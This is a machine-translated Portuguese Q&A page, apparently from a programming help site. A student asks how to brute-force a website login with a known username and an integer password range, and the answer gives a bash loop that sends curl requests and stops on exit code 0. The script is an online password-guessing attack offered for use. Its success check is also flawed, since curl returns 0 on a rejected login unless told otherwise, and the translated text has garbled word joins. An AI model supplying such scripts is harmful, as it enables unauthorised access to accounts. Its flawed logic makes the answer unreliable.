Como posso acessar um site do terminal?


8

Como estudante de ciência da computação, agora estou aprendendo a trabalhar com linha de comando. Preciso usar força bruta para fazer login em um site, sabendo o nome de usuário e que a senha é um número inteiro em um determinado intervalo. É isso que eu tenho até agora, mas parece não funcionar.

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done

Como posso proceder?

Respostas:


6

O que falta à sua rotina é uma maneira de sair assim que o correto ifor encontrado. Para isso, você pode olhar o código de saída devolvido do curl:

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

O valor de saída curlé 0 quando tudo estiver correto e pode ser verificado diretamente após a parada do programa, inspecionando a variável especial $?. Use man curle pesquise para EXIT CODEver todas as coisas diferentes que curlpodem lhe dizer com seu código de saída.

Ao utilizar nosso site, você reconhece que leu e compreendeu nossa Política de Cookies e nossa Política de Privacidade.
Licensed under cc by-sa 3.0 with attribution required.